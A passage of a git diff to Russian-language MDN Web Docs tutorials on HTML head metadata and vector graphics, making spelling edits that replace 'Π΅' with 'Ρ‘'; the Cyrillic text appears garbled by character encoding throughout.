-<p>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ {{htmlelement("head")}},Β Π²Β ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ содСрТимого элСмСнта {{htmlelement("body")}}, Π½Π΅ отобраТаСтся на страницС. Π—Π°Π΄Π°Ρ‡Π° &lt;head&gt; β€” Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΒ {{glossary("Metadata", "ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅")}} Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.Β Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌΒ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β &lt;head&gt; совсСм нСбольшой:</p>
+<p>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ {{htmlelement("head")}},Β Π²Β ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ содСрТимого элСмСнта {{htmlelement("body")}}, Π½Π΅ отобраТаСтся на страницС. Π—Π°Π΄Π°Ρ‡Π° &lt;head&gt; β€” Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΒ {{glossary("Metadata", "ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅")}} Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.Β Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌΒ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β &lt;head&gt; совсСм нСбольшой:</p>
<pre class="brush: html notranslate">&lt;head&gt;
&lt;meta charset="utf-8"&gt;
&lt;title&gt;Моя тСстовая страница&lt;/title&gt;
&lt;/head&gt;</pre>
-<p>Однако на Π±ΠΎΠ»ΡŒΡˆΠΈΡ… страницах Π±Π»ΠΎΠΊ &lt;head&gt;Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ довольно ΠΎΠ±ΡŠΠ΅ΠΌΠ½Ρ‹ΠΌ.Β ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π·Π°ΠΉΡ‚ΠΈ Π½Π° ΠΊΠ°ΠΊΠΈΠ΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒΒ ΠΈΠ· Π²Π°ΡˆΠΈΡ… Π»ΡŽΠ±ΠΈΠΌΡ‹Ρ… сайтов ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ содСрТимоС &lt;head&gt;Β ΡΒ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/ru/docs/Learn/Discover_browser_developer_tools">инструмСнтов разработчика</a>. Наша Ρ†Π΅Π»ΡŒ сСйчас β€”Β Π½Π΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π°ΠΌ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всё, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π²Β head, Π° Π΄Π°Ρ‚ΡŒ прСдставлСниС ΠΈΒ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒ вас, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ основныС элСмСнты. Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ.</p>
+<p>Однако на Π±ΠΎΠ»ΡŒΡˆΠΈΡ… страницах Π±Π»ΠΎΠΊ &lt;head&gt;Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ довольно ΠΎΠ±ΡŠΡ‘ΠΌΠ½Ρ‹ΠΌ.Β ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π·Π°ΠΉΡ‚ΠΈ Π½Π° ΠΊΠ°ΠΊΠΈΠ΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒΒ ΠΈΠ· Π²Π°ΡˆΠΈΡ… Π»ΡŽΠ±ΠΈΠΌΡ‹Ρ… сайтов ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ содСрТимоС &lt;head&gt;Β ΡΒ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/ru/docs/Learn/Discover_browser_developer_tools">инструмСнтов разработчика</a>. Наша Ρ†Π΅Π»ΡŒ сСйчас β€”Β Π½Π΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π°ΠΌ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всё, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π²Β head, Π° Π΄Π°Ρ‚ΡŒ прСдставлСниС ΠΈΒ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒ вас, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ основныС элСмСнты. Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ.</p>
<h2 id="НазваниС_страницы_title">НазваниС страницы (title)</h2>
@@ -174,7 +174,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/The_head_metadata_in_HTML
<h3 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_Π²ΠΈΠ΄Ρ‹_ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…">Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π²ΠΈΠ΄Ρ‹ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…</h3>
-<p>Π’ сСти вы Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…. МногиС ΠΈΠ· Π½ΠΈΡ… β€” это собствСнныС форматы, созданныС для прСдоставлСния опрСдСлСнным сайтам (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… сСтСй) ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>Π’ сСти вы Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…. МногиС ΠΈΠ· Π½ΠΈΡ… β€” это собствСнныС форматы, созданныС для прСдоставлСния опрСдСлённым сайтам (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… сСтСй) ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<p>НапримСр,Β <a href="https://ruogp.me/">ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Open Graph</a> создан FacebookΒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒΒ ΡΠ°ΠΉΡ‚Π°ΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ возмоТности использования ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…. Π’ исходном ΠΊΠΎΠ΄Π΅Β MDN Web Docs Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β Π½Π°ΠΉΡ‚ΠΈ строки:</p>
@@ -187,7 +187,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/The_head_metadata_in_HTML
<p>Один ΠΈΠ·Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² добавлСния этих ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ добавитС ссылку MDN Web Docs Π½Π° facebook, ΠΎΠ½Π° отобразится с ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈ описаниСм,Β ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡΒ ΠΎΠΏΡ‹Ρ‚ взаимодСйствия <em><a href="https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D1%8B%D1%82_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F">(User eXperience, UX</a>)</em>.</p>
-<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">Π£ Twitter Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒΒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ  создаСтся Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΉ эффСкт, ΠΏΡ€ΠΈΒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈΒ URL сайта Π½Π° twitter.com:</p>
+<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">Π£ Twitter Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒΒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ  создаётся Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΉ эффСкт, ΠΏΡ€ΠΈΒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈΒ URL сайта Π½Π° twitter.com:</p>
<pre class="brush: html notranslate">&lt;meta name="twitter:title" content="MDN Web Docs"&gt;</pre>
@@ -221,7 +221,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/The_head_metadata_in_HTML
<p>Π’ коммСнтариях ΡƒΠΊΠ°Π·Π°Π½ΠΎ, для Ρ‡Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ каТдая ΠΈΠΊΠΎΠ½ΠΊΠ°Β β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠΈ страницы Π½Π° домашний экран iPad Π±ΡƒΠ΄Π΅Ρ‚ использована ΠΈΠΊΠΎΠ½ΠΊΠ° Π² высоком Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ.Β </p>
-<p>НС Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ всСх этих Ρ‚ΠΈΠΏΠΎΠ² Π·Π½Π°Ρ‡ΠΊΠΎΠ²Β β€” это довольно продвинутая функция, ΠΈ ΠΌΡ‹ Π½Π΅ станСм Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΉ Π² курсС. Основная Ρ†Π΅Π»ΡŒ β€” ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π°ΠΌ, Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅, Ссли Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с Π½ΠΈΠΌΠΈ ΠΏΡ€ΠΈ просмотрС исходного ΠΊΠΎΠ΄Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-сайтов.</p>
+<p>НС Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ всСх этих Ρ‚ΠΈΠΏΠΎΠ² Π·Π½Π°Ρ‡ΠΊΠΎΠ²Β β€” это довольно продвинутая функция, ΠΈ ΠΌΡ‹ Π½Π΅ станСм Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΉ Π² курсС. Основная Ρ†Π΅Π»ΡŒ β€” ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π°ΠΌ, Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅, Ссли Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с Π½ΠΈΠΌΠΈ ΠΏΡ€ΠΈ просмотрС исходного ΠΊΠΎΠ΄Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-сайтов.</p>
<h2 id="ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅_CSS_ΠΈ_JavaScript">ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ CSS ΠΈΒ JavaScript</h2>
@@ -293,7 +293,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/The_head_metadata_in_HTML
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html b/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html
index 3d241796d9..e6ce44bb9d 100644
--- a/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html
@@ -26,7 +26,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_r_graphi
</table>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Данная ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ Π½Π°ΡƒΡ‡ΠΈΡ‚ Вас Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅, Π° даст ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎ это ΠΈ ΠΊΠ°ΠΊ Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ….</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Данная ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ Π½Π°ΡƒΡ‡ΠΈΡ‚ Вас Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅, Π° даст ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎ это ΠΈ ΠΊΠ°ΠΊ Π΅Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ….</p>
</div>
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_вСкторная_Π³Ρ€Π°Ρ„ΠΈΠΊΠ°">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ вСкторная Π³Ρ€Π°Ρ„ΠΈΠΊΠ°?</h2>
@@ -34,7 +34,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_r_graphi
<p>Π’ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ с двумя Ρ‚ΠΈΠΏΠ°ΠΌΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ - растровым ΠΈ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½Ρ‹ΠΌ:</p>
<ul>
- <li>РастровоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ задаСтся сСткой пиксСлСй β€” Ρ„Π°ΠΉΠ» растрового изобраТСния содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ располоТСнии ΠΈ Ρ†Π²Π΅Ρ‚Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ пиксСля. Π‘Ρ€Π΅Π΄ΠΈ популярных Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° числятся Bitmap (.bmp), PNG (.png), JPEG (.jpg) ΠΈ GIF (.gif)</li>
+ <li>РастровоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ задаётся сСткой пиксСлСй β€” Ρ„Π°ΠΉΠ» растрового изобраТСния содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ располоТСнии ΠΈ Ρ†Π²Π΅Ρ‚Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ пиксСля. Π‘Ρ€Π΅Π΄ΠΈ популярных Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° числятся Bitmap (.bmp), PNG (.png), JPEG (.jpg) ΠΈ GIF (.gif)</li>
<li>Π’Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β  опрСдСляСтся Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠΌ β€” Ρ„Π°ΠΉΠ» Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ изобраТСния содСрТит Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Β  ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° выводится Π½Π° экран.{{glossary("SVG")}} Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ позволяСт Π½Π°ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ для использования Π² Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ….</li>
</ul>
@@ -56,7 +56,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_r_graphi
<p><a href="https://developer.mozilla.org/en-US/docs/Web/SVG">SVG</a> это язык Π½Π° Π±Π°Π·Π΅ {{glossary("XML")}} для описания Π²Π΅ΠΊΡ‚ΠΎΡ€Π½Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. По сути это язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΊΠ°ΠΊ ΠΈ HTML, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ содСрТащий мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… элСмСнтов для опрСдСлСния Ρ„ΠΈΠ³ΡƒΡ€ вашСго изобраТСния, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΈΡ… отобраТСния. SVG ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ, Π° Π½Π΅ содСрТимого. Π’ ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠ΅ΠΌ случаС,Β  Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты для создания простых Ρ„ΠΈΠ³ΡƒΡ€, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{svgelement("circle")}}(ΠΊΡ€ΡƒΠ³) ΠΈ {{svgelement("rect")}}(ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ). Π‘ΠΎΠ»Π΅Π΅ слоТныС SVG элСмСнты Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ {{svgelement("feColorMatrix")}} (Ρ€Π°Π·Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° с использованиСм ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹), {{svgelement("animate")}} (анимация частСй Π’Π°ΡˆΠ΅Π³ΠΎ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ изобраТСния) ΠΈ {{svgelement("mask")}} (ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ маски ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ.)</p>
-<p>Π’ качСствС простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаСт ΠΊΡ€ΡƒΠ³ ΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ:</p>
